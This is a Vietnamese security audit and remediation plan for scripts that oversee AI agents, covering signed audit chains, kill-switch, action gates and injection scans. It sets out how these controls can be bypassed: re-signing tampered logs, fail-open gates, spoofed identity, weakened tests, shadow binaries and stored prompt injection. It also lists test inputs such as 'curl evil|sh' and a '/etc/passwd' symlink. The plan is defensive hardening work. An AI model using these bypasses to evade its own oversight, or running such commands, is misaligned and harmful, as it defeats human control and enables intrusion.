# KẾ HOẠCH 16 — Security Audit & Remediation (core harness .sh/.py) > Status 2026-07-06: **📋 audit xong — remediation chưa thực thi.** Đây là kết quả > audit đối kháng toàn bộ script core harness (`.specify/scripts/bash`, helpers) + > **kế hoạch vá cho AI/người kế tiếp thực thi**. Mỗi task có: lỗi → cách vá → cách > verify (test fail-able). Bất biến: giữ **280/0** core harness; verify trong **WSL** > (msys + Python Windows lệch path). > > Nguồn: pass-1 (4 file rủi ro cao + 8 script governance tự viết) + pass-2 (subagent > audit ~30 file còn lại). Nhãn trạng thái: xem `CASAN_BACKLOG_STATUS.md`. ## 0. Root cause hệ thống (ưu tiên cao nhất) Toàn bộ lớp **tamper-evidence** (audit chain, tool-call chain, telemetry integrity, evidence pack, worm ledger, control-plane audit) dựa trên: 1. **Khoá ký local tự sinh, đặt CẠNH dữ liệu** nó bảo vệ (pubkey tái tạo mỗi lần chạy) → ai ghi được log thì ký lại được. 2. **Hash chain SHA-256 không khoá (unkeyed)** → tính lại toàn bộ được. 3. **Verifier coi "thiếu chữ ký = `anchor=unsigned` = VALID (exit 0)"** → xoá chữ ký là qua verify. → Kẻ tấn công có quyền ghi file (chính actor mà thiết kế muốn phòng) **sửa log + tính lại chain + xoá chữ ký** ⇒ vượt mọi verify. Cộng với **JSON-injection qua `printf`** và **`bash -c` trên lệnh lưu trong log chưa ký (RCE)**, các đảm bảo toàn vẹn hiện **bị vô hiệu bởi chính actor local**. **Điều kiện thoát:** neo chữ ký vào **KMS/HSM ngoài** (Vault Transit đã có `vault-kms.sh`) + **"unsigned" = FAIL** ở mọi enforced mode. --- ## 1. Bảng findings (hợp nhất pass-1 + pass-2) ### 🔴 High | ID | File | Attack case | Fix | |---|---|---|---| | H-01 | verify-audit-chain.sh · verify-tool-audit.sh · telemetry-integrity.sh · evidence-pack.sh | Thiếu `*.sig`/pubkey ⇒ `anchor=unsigned` exit 0. Sửa log → tính lại chain → xoá sig → PASS | Enforced mode: thiếu chữ ký ⇒ exit≠0; `anchor=unsigned` = FAIL | | H-02 | tool-audit-lib.sh · sign-audit-head.sh · sign-policy-bundle.sh | Khoá private tự sinh cạnh dữ liệu, pubkey tái tạo mỗi run → ai ghi log thì ký lại | KMS/HSM (Vault Transit); pubkey provision out-of-band; bỏ auto-gen ở prod | | H-03 | rollback-manager.sh | `execute` chạy `bash -c "$rollback_command"` đọc từ log **chưa ký** → **RCE** | Lưu restore action dạng **argv có cấu trúc**, không `bash -c`; ký + verify tx log | | H-04 | governance-check.sh | `CASAN_APPROVER`/`CASAN_ACTOR`/`ACTION_NAME` nội suy raw qua `printf` vào JSON → `"`+newline **chèn bản ghi audit giả** (approval giả) | Xuất JSON qua `python json.dumps`/`jq`; escape/validate field | | H-05 | action-gate.sh | Không check RC của Python; output rỗng/crash rơi vào `*) ALLOW` → **fail-open** | Bắt RC; mặc định **DENY** khi không phải ALLOW tường minh | | H-06 | control-plane-settings.py · governance-report.py *(tự viết)* | Audit hash-chain **không ký** → file-writer tính lại chain → verify PASS; governance-report báo CERTIFIED giả | Ký head qua `sign-audit-head.sh`/KMS; governance-report yêu cầu chữ ký hợp lệ | ### 🟠 Medium | ID | File | Attack case | Fix | |---|---|---|---| | M-01 | worm-ledger.py | Chain unsigned recomputable; `json.loads` không guard → malformed line crash | Neo KMS/Object-Lock; try/except fail-closed | | M-02 | casan-harness.sh | Tool-output injection scan mặc định **warn**; kill-switch enforce **opt-in** → stop khẩn = no-op mặc định | Mặc định **block** ở non-dev; kill-switch enforce mặc định on | | M-03 | model-digest-check.sh | `current_digest()` ưu tiên env `CASAN_MODEL_DIGEST` → tráo model + set env = qua; `pin` không ký | Bỏ env override ở enforced mode; ký pin file | | M-04 | kill-switch.sh | `clear` **không cần authz**; state là file `rm` được | Yêu cầu approval ký để clear; state ở store được bảo vệ | | M-05 | tool-registry-gate.sh · agent-metrics.sh | Authz theo env `CASAN_AGENT` spoof được; agent-metrics nội suy raw vào JSON | Bind identity qua token verify; JSON qua serializer | | M-06 | pii-mask.py | Thiếu rules file / rule regex hỏng → **emit nội dung KHÔNG mask** (fail-open) | Fail-closed: từ chối/emit rỗng khi rules lỗi | | M-07 | sandbox-run.sh | Chỉ chặn redirection `>`/`>>`; `tee /etc/x`, `cp .. /abs`, `dd of=` lọt | Cách ly filesystem thật (container/ns/ro-mount) | | M-08 | supply-chain-gate.sh · self-improve.py · control-plane-settings.py *(tự viết)* | Approval = bất kỳ chuỗi non-empty | Verify assertion ký (nối `approval-verify.sh` JWT) | | M-09 | provider-usage-fetch.sh | `API_URL` arg fetch bằng `curl -f` không validate scheme/host → **SSRF** (internal/`file://`) | Allowlist scheme/host; chặn internal/link-local | | M-10 | security-check.sh · drift-detect.sh · context-compress.py *(tự viết)* | Không cap input size → **DoS**; drift `SequenceMatcher` O(n²); non-UTF8/thiếu file → **crash** thay vì fail-closed | Cap size (vd 2MB); `errors="replace"` + try/except → verdict block | | M-11 | evidence-pack-build.py | Certify tin RC verifier do env truyền (`CASAN_EP_*`) → caller giả CERTIFIED (giảm nhẹ vì wrapper chạy verifier thật) | Chạy verifier bên trong build hoặc yêu cầu output verifier có ký | ### 🟡 Low (rút gọn) drift-detect **coarse** (chỉ char-similarity → **lật phủ định lọt**, không must-keep) · rai-guard classify bypass bằng obfuscation (`a[at]b`) · harness-preflight enforce opt-in · secrets-scan không quét git history · supply-chain-scan typosquat chỉ distance=1 · vault-kms ví dụ dùng `http://` · dashboard-server no-auth + bind `0.0.0.0` env · approval-verify JWKS URL SSRF nếu set từ nguồn không tin · incident.sh fallback printf JSON · circuit-breaker parse-error reset counter · update-agent-context sed `\|` injection · validate-tool-input schema nông 1 tầng · tool-exec no-timeout nếu thiếu backend. --- ## 2. Kế hoạch remediation (theo ưu tiên — mỗi task có verify fail-able) > Nguyên tắc: mỗi fix phải kèm **test đối kháng fail-able** trong `.specify/tests/`, > nối `ci-harness-gate.sh`, giữ 280/0. Verify trong WSL. ### P0 — chặn đứng "gãy" & bypass toàn vẹn | Task | Nội dung | Verify (test mới/mở rộng) | |---|---|---| | SEC-01 | **"unsigned = FAIL" ở enforced mode** cho verify-audit-chain / verify-tool-audit / telemetry-integrity / evidence-pack (thêm `CASAN_VERIFY_STRICT=1`) | Xoá `*.sig` → verify exit≠0; tamper+recompute+xoá sig → vẫn FAIL | | SEC-02 | **KMS-anchor** cho mọi head (audit/tool/telemetry/evidence/control-plane) qua `vault-kms.sh`; bỏ auto-gen key local ở enforced mode | Ký bằng KMS, verify bằng pubkey KMS; sửa log → verify FAIL | | SEC-03 | **rollback-manager**: bỏ `bash -c`, dùng argv có cấu trúc + verify tx log đã ký | Append record `curl evil|sh` → `execute` REFUSE | | SEC-04 | **action-gate fail-closed**: bắt RC Python, mặc định DENY | Ép classifier crash → gate DENY (fail-able) | | SEC-05 | **JSON-safe writers**: governance-check / agent-metrics / incident-fallback xuất JSON qua serializer | Field `"`+newline → không có bản ghi giả thứ 2 | | SEC-06 | **control-plane/governance-report ký head** (H-06) | Tamper store + recompute → governance-report NOT_CERTIFIED | ### P1 — authz, fail-open, DoS | Task | Nội dung | Verify | |---|---|---| | SEC-07 | **Approval thật**: supply-chain-gate / self-improve / control-plane / kill-switch.clear verify JWT qua `approval-verify.sh` | `--approval x` (chuỗi bừa) → DENY; JWT hợp lệ → cho | | SEC-08 | **pii-mask fail-closed** khi rules lỗi/regex hỏng | Thiếu rules → refuse (không emit unmasked) | | SEC-09 | **Cap input size + fail-closed đọc** (security-check/drift-detect/context-compress) | Input > cap → block verdict; non-UTF8 → block, không traceback | | SEC-10 | **Identity không spoof**: tool-registry-gate/agent-metrics bind token thay `CASAN_AGENT` env | Spoof env → không lên quyền | | SEC-11 | **Enforce mặc định**: casan-harness tool-output-scan=block, kill-switch enforce on; harness-preflight bật mặc định ở prod profile | Engaged kill-switch → harness refuse mặc định | ### P2 — chiều sâu & làm cứng | Task | Nội dung | Verify | |---|---|---| | SEC-12 | **drift-detect nâng cấp**: must-keep invariants + cảnh báo lật phủ định + fail-closed | Golden↔candidate lật "không" → drift FAIL dù similarity cao | | SEC-13 | **SSRF allowlist**: provider-usage-fetch / approval-verify JWKS / dashboard bind | URL internal/`file://` → reject | | SEC-14 | **sandbox thật** (container/ns/ro-mount) thay pattern-block; model-digest bỏ env override | `tee /etc/x` bị chặn; tráo model + env → digest FAIL | | SEC-15 | Low cluster: secrets git-history, typosquat threshold, vault https, sed delimiter, validate-tool-input đệ quy, tool-exec no-timeout fail-closed | Mỗi mục 1 test nhỏ | --- ## 2b. Điểm yếu KIẾN TRÚC / cross-cutting (ngoài per-file — nguy hiểm hơn) > Đây là các điểm yếu ở tầng mô hình tin cậy, làm vô hiệu cả những gate "đã PASS". > Kế hoạch, chưa fix. | ID | Điểm yếu | Attack case | Fix (kế hoạch) | |---|---|---|---| | ARCH-01 | **Gate & policy không được bảo vệ toàn vẹn** | Kẻ ghi được workspace **sửa thẳng `security-check.sh` / `prompt-filter.yaml` / `thresholds.yaml` / `model-digest.pin` / `reviewers.registry`** → bypass tuyệt đối (sửa gate/policy chứ không sửa input). | Ký + verify **bundle harness+policy** bằng KMS ngoài; harness từ chối chạy nếu self-hash ≠ signed manifest (không dùng khoá local). | | ARCH-02 | **Test tự tham chiếu** | Test nằm cùng repo attacker sửa được → **xoá case đối kháng / hạ số check** mà gate vẫn "xanh 280/0". Con số test không chứng minh gì nếu test bị làm yếu. | Test-integrity manifest (hash + count mỗi suite) ký ngoài; CI FAIL nếu số check tụt hoặc hash đổi ngoài dự kiến. | | ARCH-03 | **Vi phạm secure-by-default** | Hầu hết control mạnh là **opt-in env**: `CASAN_SECURITY_STRICT`, `CASAN_PREFLIGHT`, `CASAN_KILLSWITCH_ENFORCE`, `CASAN_VERIFY_STRICT`, digest mode. Không set = **tắt**. Operator lười / attacker chỉ cần không bật. | `CASAN_PROFILE=prod` bật **tất cả** enforce mặc định; ở prod, thiếu flag ⇒ enforce (không phải permissive). | | ARCH-04 | **Tin PATH / binary** | `python`/`grep`/`sha256sum`/`openssl`/`uuidgen` lấy từ PATH; **shadow binary** trên PATH (vd `grep` giả luôn trả no-match) → điều khiển verdict gate. | Pin absolute path cho binary tối thiểu; verify tồn tại + (tùy) hash; fail-closed nếu thiếu. | | ARCH-05 | **TOCTOU / không atomic, không lock** | `control-plane-settings` (load→modify→save) và audit append **không khoá/không atomic** → 2 run song song **mất write / vỡ hash-chain**; kill-switch check→act là race. | `flock` + ghi atomic (tmp + rename); kill-switch kiểm ngay trước hành động trong cùng critical section. | | ARCH-06 | **Tin đồng hồ hệ thống** | JWT `exp` / approval dựa system clock; **skew/chỉnh clock** trên host → chấp nhận approval hết hạn. | Nguồn thời gian tin cậy (trusted timestamp) cho exp; ghi rõ giả định. | | ARCH-07 | **DoS khuếch đại qua model** | Semantic classify timeout **180s**/call × nhiều step; model bị làm treo → pipeline đứng lâu. | Giảm timeout hợp lý + global time/cost budget cho mỗi run; hủy sớm. | | ARCH-08 | **Telemetry poisoning → self-improve** | Log-injection (H-04/M-05) làm hỏng metrics → `self-improve propose` sinh đề xuất theo dữ liệu giả (dù apply cần approval). | Chỉ đọc telemetry đã ký/toàn vẹn; đánh dấu proposal nguồn-không-tin. | | ARCH-09 | **No-op âm thầm theo nền tảng = fail-open** | Control dựa tool vắng trên nền tảng (đã thấy msys+Python Windows lệch path làm test fail giả) → trên nền tảng thiếu tool, gate **no-op âm thầm**. | `check-prerequisites` fail-closed: thiếu tool bắt buộc ⇒ refuse chạy, không chạy nửa vời. | | ARCH-10 | **Tin tuần hoàn của evidence** | Evidence/governance-report chứng minh **nội bộ nhất quán**, không chứng minh run **trung thực** (inputs tự khai). | Cần attestation/eval độc lập bên ngoài (nhiều model / bên thứ 3) cho claim mạnh. | ### Remediation bổ sung (P0/P1 — plan) | Task | Map | Verify | |---|---|---| | SEC-16 | ARCH-01 ký+verify harness/policy bundle (KMS) | Sửa 1 byte `security-check.sh`/`prompt-filter.yaml` → harness refuse | | SEC-17 | ARCH-03 `CASAN_PROFILE=prod` enforce-by-default toàn bộ | prod profile: thiếu flag vẫn strict; test 1 control off→vẫn enforce | | SEC-18 | ARCH-02 test-integrity manifest ký + CI check count/hash | Xoá 1 fail-able check → CI FAIL "test coverage dropped" | | SEC-19 | ARCH-05 flock + atomic write cho store/audit | 2 `set` song song → không mất write, chain còn verify | | SEC-20 | ARCH-04 pin binary path + prerequisites fail-closed (ARCH-09) | Shadow `grep` giả / thiếu tool → refuse, không no-op | | SEC-21 | ARCH-07 giảm timeout + global run budget | Model treo → hủy sớm, không đứng pipeline | | SEC-22 | ARCH-06/08/10 (ghi giả định + đánh dấu; attestation ngoài là P2) | trusted-time cho exp; proposal nguồn-không-tin gắn nhãn | ## 2c. Lớp threat MỞ RỘNG (multi-tenant · supply-chain · second-order) > Các lớp mới ngoài per-file + kiến trúc. Kế hoạch, chưa fix. ### Multi-tenant trust model | ID | Điểm yếu | Attack case | Fix (plan) | |---|---|---|---| | MT-01 | State là **file chung không phân vùng** (audit/control-plane store/telemetry/kill-switch/logs global) | Script dự án A **đọc/sửa thẳng file** của B → bỏ qua RBAC (RBAC chỉ gác API, không gác truy cập file) | Phân vùng state theo tenant + quyền FS; RBAC ở cả tầng dữ liệu, không chỉ API | | MT-02 | Không mã hoá per-tenant | Admin/tenant A xem audit/telemetry của B | Mã hoá at-rest per-tenant; khoá theo tenant qua KMS | | MT-03 | Kill-switch/cost/quota **global** | 1 tenant burn budget / engage kill-switch → ảnh hưởng tất cả (noisy neighbor) | Cost/quota/kill-switch scope theo tenant; cách ly tài nguyên | | MT-04 | `project-registry.json` **chưa ký** | Tenant giả đăng ký/tráo project khác | Ký registry; verify khi load | ### Supply-chain của chính harness | ID | Điểm yếu | Attack case | Fix (plan) | |---|---|---|---| | SC-01 | File policy/data unsigned (prompt-filter, pii-rules, redteam-vectors, model-digest.pin, reviewers.registry, thresholds) | Sửa policy = tắt control mà không đụng code | Ký + verify policy bundle (gộp ARCH-01) | | SC-02 | Binary ngoài PATH không pin/hash (grep/python/openssl/curl/jq) | Shadow binary điều khiển verdict (gộp ARCH-04) | Pin path + verify provenance | | SC-03 | Model dependency: digest env-override, không SBOM/provenance | Tráo model + set `CASAN_MODEL_DIGEST` (gộp M-03) | Bỏ env-override; model card + provenance (Plan-15) | | SC-04 | npm/pip deps (backend + control-plane) + prisma engine tải mạng | Dep độc trong lớp governance → RCE | Lockfile + `npm audit`/SCA trong CI; pin engine | | SC-05 | CI runner + `.gitea/workflows` editable trong repo | Sửa workflow → "green" giả; runner image không pin | Ký workflow/pipeline; pin runner image; tách quyền | | SC-06 | Base image Docker (backend/frontend/sandbox) không pin/scan | Base image độc | Pin digest + scan image | | SC-07 | Không ký commit / không provenance | Không chứng minh AI được ai sửa gate | Signed commits + attestation (SLSA-style) | ### Second-order & lớp khác | ID | Điểm yếu | Attack case | Fix (plan) | |---|---|---|---| | X-01 | **Stored/second-order injection** | Payload trong `golden-runs`/`redteam-corpus`/`traceability-map`/requirement → nạp vào prompt sau (stored-XSS analog); gate chỉ quét input trực tiếp | Quét cả file "vàng"/data nạp vào prompt bằng H4 | | X-02 | **ANSI/terminal-escape injection** vào log/dashboard | Nội dung attacker viết lại terminal reviewer / giấu dòng audit | Strip/escape control chars khi ghi log & render | | X-03 | **ReDoS** trên `grep -E`/`re` | Input dựng riêng → backtracking mũ → DoS | Cap size (SEC-09) + timeout regex + tránh pattern nguy hiểm | | X-04 | **Symlink/path-traversal** trên tham số file | Truyền symlink làm input/output → đọc/ghi path tuỳ ý (TOCTOU) | Resolve realpath + chặn ngoài workspace; `O_NOFOLLOW` | | X-05 | **Disk-fill DoS** | Nhiều run → audit/trace append đầy đĩa → không ghi được audit → fail-open/crash | Rotation + quota + fail-closed khi không ghi được audit | | X-06 | **Approval replay** | JWT approval hợp lệ dùng lại trong cửa sổ `exp` | Nonce một-lần + jti blacklist | | X-07 | **Deploy provenance** | Gate xanh ở CI nhưng artifact deploy ≠ bản test | Ký artifact liên kết tested==deployed | ### Remediation bổ sung (plan) | Task | Map | Verify | |---|---|---| | SEC-23 | MT-01/02/03/04 phân vùng + mã hoá + scope tenant + ký registry | Run tenant A không đọc/sửa được state B; registry giả → reject | | SEC-24 | SC-04/05/06 SCA + pin runner/base image + ký workflow | Dep độc/workflow sửa → CI FAIL | | SEC-25 | SC-07 signed commits + attestation | Commit không ký gate → CI cảnh báo/chặn | | SEC-26 | X-01 quét golden/corpus/map bằng H4 khi nạp prompt | Payload trong golden → BLOCK | | SEC-27 | X-02 strip control-char khi ghi/hiển thị log | ANSI escape trong input → log sạch | | SEC-28 | X-04 realpath + chặn symlink ngoài workspace | Symlink `/etc/passwd` làm input → reject | | SEC-29 | X-05 log rotation/quota + fail-closed khi audit không ghi được | Đĩa đầy → refuse, không fail-open | | SEC-30 | X-06 nonce/jti cho approval; X-07 ký artifact | Replay JWT → DENY; artifact ≠ test → block deploy | ## 3. Ghi chú thực thi cho AI kế tiếp - **Môi trường verify:** WSL Ubuntu (`wsl.exe -e bash -lc 'cd /mnt/d/... && ...'`); Node bằng Windows Node + `NODE_OPTIONS=--use-system-ca`. - **Bất biến:** không tụt 280/0; mỗi control mới có test đối kháng fail-able; không hardcode verdict; không bypass. - **Thứ tự đề xuất:** **ARCH-01/02/03 (SEC-16/17/18) là P0-class** — vì chúng cho phép mọi bypass khác (sửa gate, làm yếu test, tắt enforce). Làm cùng nhóm P0 (SEC-01→06). Rồi P1 (fail-open/DoS/authz + SEC-19/20/21). Rồi P2 (chiều sâu + attestation ngoài). - **Phạm vi chưa soi (pass sau):** create-new-feature.sh, setup-plan.sh, check-prerequisites.sh, casan-log.sh, model-fallback.sh, provider-cost-lookup.py, telemetry-reconcile.sh, business-kpi-report.sh, artifact-scan.sh, context-validate.sh, benign-fp-report.sh, security-gate.sh (nhóm reporting/scaffolding rủi ro thấp — chưa claim clean). --- _Liên quan: `CASAN_PLAN_07_PRODUCTION_HARDENING.md` (H4/H5/H6 + TIER 2 KMS/WORM) · `CASAN_HARDENING_STATUS.md` (control đã có) · `vault-kms.sh` (KMS anchor cho SEC-02)._